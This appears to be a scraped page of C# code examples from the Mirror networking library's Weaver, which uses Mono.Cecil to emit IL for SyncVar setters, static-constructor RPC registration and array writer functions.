                setWorker.Append(setWorker.Create(OpCodes.Ldfld, netFieldId));

                setWorker.Append(setWorker.Create(OpCodes.Call, Weaver.syncVarGameObjectEqualReference));
            }
            else if (fd.FieldType.FullName == Weaver.NetworkIdentityType.FullName)
            {
                // reference to netId Field to set
                setWorker.Append(setWorker.Create(OpCodes.Ldarg_0));
                setWorker.Append(setWorker.Create(OpCodes.Ldfld, netFieldId));

                setWorker.Append(setWorker.Create(OpCodes.Call, Weaver.syncVarNetworkIdentityEqualReference));
            }
            else
            {
                setWorker.Append(setWorker.Create(OpCodes.Ldarg_0));
                setWorker.Append(setWorker.Create(OpCodes.Ldflda, fd));

                GenericInstanceMethod syncVarEqualGm = new GenericInstanceMethod(Weaver.syncVarEqualReference);
                syncVarEqualGm.GenericArguments.Add(fd.FieldType);
                setWorker.Append(setWorker.Create(OpCodes.Call, syncVarEqualGm));
            }

            setWorker.Append(setWorker.Create(OpCodes.Brtrue, endOfMethod));

            // T oldValue = value;
            // TODO for GO/NI we need to backup the netId don't we?
            VariableDefinition oldValue = new VariableDefinition(fd.FieldType);

            set.Body.Variables.Add(oldValue);
            setWorker.Append(setWorker.Create(OpCodes.Ldarg_0));
            setWorker.Append(setWorker.Create(OpCodes.Ldfld, fd));
            setWorker.Append(setWorker.Create(OpCodes.Stloc, oldValue));

            // this
            setWorker.Append(setWorker.Create(OpCodes.Ldarg_0));

            // new value to set
            setWorker.Append(setWorker.Create(OpCodes.Ldarg_1));

            // reference to field to set
            setWorker.Append(setWorker.Create(OpCodes.Ldarg_0));
            setWorker.Append(setWorker.Create(OpCodes.Ldflda, fd));

            // dirty bit
            // 8 byte integer aka long
            setWorker.Append(setWorker.Create(OpCodes.Ldc_I8, dirtyBit));

            if (fd.FieldType.FullName == Weaver.gameObjectType.FullName)
            {
                // reference to netId Field to set
                setWorker.Append(setWorker.Create(OpCodes.Ldarg_0));
                setWorker.Append(setWorker.Create(OpCodes.Ldflda, netFieldId));

                setWorker.Append(setWorker.Create(OpCodes.Call, Weaver.setSyncVarGameObjectReference));
            }
            else if (fd.FieldType.FullName == Weaver.NetworkIdentityType.FullName)
            {
                // reference to netId Field to set
                setWorker.Append(setWorker.Create(OpCodes.Ldarg_0));
                setWorker.Append(setWorker.Create(OpCodes.Ldflda, netFieldId));

                setWorker.Append(setWorker.Create(OpCodes.Call, Weaver.setSyncVarNetworkIdentityReference));
            }
            else
            {
                // make generic version of SetSyncVar with field type
                GenericInstanceMethod gm = new GenericInstanceMethod(Weaver.setSyncVarReference);
                gm.GenericArguments.Add(fd.FieldType);

                // invoke SetSyncVar
                setWorker.Append(setWorker.Create(OpCodes.Call, gm));
            }

            MethodDefinition hookMethod = GetHookMethod(td, fd);

            if (hookMethod != null)
            {
                //if (NetworkServer.localClientActive && !getSyncVarHookGuard(dirtyBit))
                Instruction label = setWorker.Create(OpCodes.Nop);
                setWorker.Append(setWorker.Create(OpCodes.Call, Weaver.NetworkServerGetLocalClientActive));
                setWorker.Append(setWorker.Create(OpCodes.Brfalse, label));
                setWorker.Append(setWorker.Create(OpCodes.Ldarg_0));
                setWorker.Append(setWorker.Create(OpCodes.Ldc_I8, dirtyBit));
                setWorker.Append(setWorker.Create(OpCodes.Call, Weaver.getSyncVarHookGuard));
                setWorker.Append(setWorker.Create(OpCodes.Brtrue, label));

                // setSyncVarHookGuard(dirtyBit, true);
                setWorker.Append(setWorker.Create(OpCodes.Ldarg_0));
                setWorker.Append(setWorker.Create(OpCodes.Ldc_I8, dirtyBit));
                setWorker.Append(setWorker.Create(OpCodes.Ldc_I4_1));
                setWorker.Append(setWorker.Create(OpCodes.Call, Weaver.setSyncVarHookGuard));

                // call hook (oldValue, newValue)
                // Generates: OnValueChanged(oldValue, value);
                WriteCallHookMethodUsingArgument(setWorker, hookMethod, oldValue);

                // setSyncVarHookGuard(dirtyBit, false);
                setWorker.Append(setWorker.Create(OpCodes.Ldarg_0));
                setWorker.Append(setWorker.Create(OpCodes.Ldc_I8, dirtyBit));
                setWorker.Append(setWorker.Create(OpCodes.Ldc_I4_0));
                setWorker.Append(setWorker.Create(OpCodes.Call, Weaver.setSyncVarHookGuard));

                setWorker.Append(label);
            }

            setWorker.Append(endOfMethod);

            setWorker.Append(setWorker.Create(OpCodes.Ret));

            set.Parameters.Add(new ParameterDefinition("value", ParameterAttributes.In, fd.FieldType));
            set.SemanticsAttributes = MethodSemanticsAttributes.Setter;

            return(set);
        }
예제 #28
0
        // we need to inject several initializations into NetworkBehaviour cctor
        void InjectIntoStaticConstructor(ref bool WeavingFailed)
        {
            if (commands.Count == 0 && clientRpcs.Count == 0 && targetRpcs.Count == 0)
            {
                return;
            }

            // find static constructor
            MethodDefinition cctor      = netBehaviourSubclass.GetMethod(".cctor");
            bool             cctorFound = cctor != null;

            if (cctor != null)
            {
                // remove the return opcode from end of function. will add our own later.
                if (!RemoveFinalRetInstruction(cctor))
                {
                    Log.Error($"{netBehaviourSubclass.Name} has invalid class constructor", cctor);
                    WeavingFailed = true;
                    return;
                }
            }
            else
            {
                // make one!
                cctor = new MethodDefinition(".cctor", MethodAttributes.Private |
                                             MethodAttributes.HideBySig |
                                             MethodAttributes.SpecialName |
                                             MethodAttributes.RTSpecialName |
                                             MethodAttributes.Static,
                                             weaverTypes.Import(typeof(void)));
            }

            ILProcessor cctorWorker = cctor.Body.GetILProcessor();

            // register all commands in cctor
            for (int i = 0; i < commands.Count; ++i)
            {
                CmdResult cmdResult = commands[i];
                GenerateRegisterCommandDelegate(cctorWorker, weaverTypes.registerCommandReference, commandInvocationFuncs[i], cmdResult);
            }

            // register all client rpcs in cctor
            for (int i = 0; i < clientRpcs.Count; ++i)
            {
                ClientRpcResult clientRpcResult = clientRpcs[i];
                GenerateRegisterRemoteDelegate(cctorWorker, weaverTypes.registerRpcReference, clientRpcInvocationFuncs[i], clientRpcResult.method.FullName);
            }

            // register all target rpcs in cctor
            for (int i = 0; i < targetRpcs.Count; ++i)
            {
                GenerateRegisterRemoteDelegate(cctorWorker, weaverTypes.registerRpcReference, targetRpcInvocationFuncs[i], targetRpcs[i].FullName);
            }

            // add final 'Ret' instruction to cctor
            cctorWorker.Append(cctorWorker.Create(OpCodes.Ret));
            if (!cctorFound)
            {
                netBehaviourSubclass.Methods.Add(cctor);
            }

            // in case class had no cctor, it might have BeforeFieldInit, so injected cctor would be called too late
            netBehaviourSubclass.Attributes &= ~TypeAttributes.BeforeFieldInit;
        }
예제 #29
0
파일: Writers.cs 프로젝트: Aurorius/Mirror
        static MethodDefinition GenerateArrayWriteFunc(TypeReference variable, int recursionCount)
        {
            if (!variable.IsArrayType())
            {
                Weaver.Error($"{variable.Name} is an unsupported type. Jagged and multidimensional arrays are not supported", variable);
                return(null);
            }

            TypeReference   elementType      = variable.GetElementType();
            MethodReference elementWriteFunc = GetWriteFunc(elementType, recursionCount + 1);
            MethodReference intWriterFunc    = GetWriteFunc(WeaverTypes.int32Type);

            if (elementWriteFunc == null)
            {
                Weaver.Error($"Cannot generate writer for Array because element {elementType.Name} does not have a writer. Use a supported type or provide a custom writer", variable);
                return(null);
            }

            string functionName = "_WriteArray" + variable.GetElementType().Name + "_";

            if (variable.DeclaringType != null)
            {
                functionName += variable.DeclaringType.Name;
            }
            else
            {
                functionName += "None";
            }

            // create new writer for this type
            MethodDefinition writerFunc = new MethodDefinition(functionName,
                                                               MethodAttributes.Public |
                                                               MethodAttributes.Static |
                                                               MethodAttributes.HideBySig,
                                                               WeaverTypes.voidType);

            writerFunc.Parameters.Add(new ParameterDefinition("writer", ParameterAttributes.None, Weaver.CurrentAssembly.MainModule.ImportReference(WeaverTypes.NetworkWriterType)));
            writerFunc.Parameters.Add(new ParameterDefinition("value", ParameterAttributes.None, Weaver.CurrentAssembly.MainModule.ImportReference(variable)));

            writerFunc.Body.Variables.Add(new VariableDefinition(WeaverTypes.int32Type));
            writerFunc.Body.Variables.Add(new VariableDefinition(WeaverTypes.int32Type));
            writerFunc.Body.InitLocals = true;

            ILProcessor worker = writerFunc.Body.GetILProcessor();

            // if (value == null)
            // {
            //     writer.WritePackedInt32(-1);
            //     return;
            // }
            Instruction labelNull = worker.Create(OpCodes.Nop);

            worker.Append(worker.Create(OpCodes.Ldarg_1));
            worker.Append(worker.Create(OpCodes.Brtrue, labelNull));

            worker.Append(worker.Create(OpCodes.Ldarg_0));
            worker.Append(worker.Create(OpCodes.Ldc_I4_M1));
            worker.Append(worker.Create(OpCodes.Call, intWriterFunc));
            worker.Append(worker.Create(OpCodes.Ret));

            // else not null
            worker.Append(labelNull);

            // int length = value.Length;
            worker.Append(worker.Create(OpCodes.Ldarg_1));
            worker.Append(worker.Create(OpCodes.Ldlen));
            worker.Append(worker.Create(OpCodes.Stloc_0));

            // writer.WritePackedInt32(length);
            worker.Append(worker.Create(OpCodes.Ldarg_0));
            worker.Append(worker.Create(OpCodes.Ldloc_0));
            worker.Append(worker.Create(OpCodes.Call, intWriterFunc));

            // for (int i=0; i< value.length; i++) {
            worker.Append(worker.Create(OpCodes.Ldc_I4_0));
            worker.Append(worker.Create(OpCodes.Stloc_1));
            Instruction labelHead = worker.Create(OpCodes.Nop);

            worker.Append(worker.Create(OpCodes.Br, labelHead));

            // loop body
            Instruction labelBody = worker.Create(OpCodes.Nop);

            worker.Append(labelBody);
            // writer.Write(value[i]);
            worker.Append(worker.Create(OpCodes.Ldarg_0));
            worker.Append(worker.Create(OpCodes.Ldarg_1));
            worker.Append(worker.Create(OpCodes.Ldloc_1));
            worker.Append(worker.Create(OpCodes.Ldelema, elementType));
            worker.Append(worker.Create(OpCodes.Ldobj, elementType));
            worker.Append(worker.Create(OpCodes.Call, elementWriteFunc));

            worker.Append(worker.Create(OpCodes.Ldloc_1));
            worker.Append(worker.Create(OpCodes.Ldc_I4_1));
            worker.Append(worker.Create(OpCodes.Add));
            worker.Append(worker.Create(OpCodes.Stloc_1));

            // end for loop
            worker.Append(labelHead);
            worker.Append(worker.Create(OpCodes.Ldloc_1));
            worker.Append(worker.Create(OpCodes.Ldarg_1));
            worker.Append(worker.Create(OpCodes.Ldlen));
            worker.Append(worker.Create(OpCodes.Conv_I4));
            worker.Append(worker.Create(OpCodes.Blt, labelBody));

            // return
            worker.Append(worker.Create(OpCodes.Ret));
            return(writerFunc);
        }
예제 #30
0
 void Append(Instruction instruction) => _il.Append(instruction);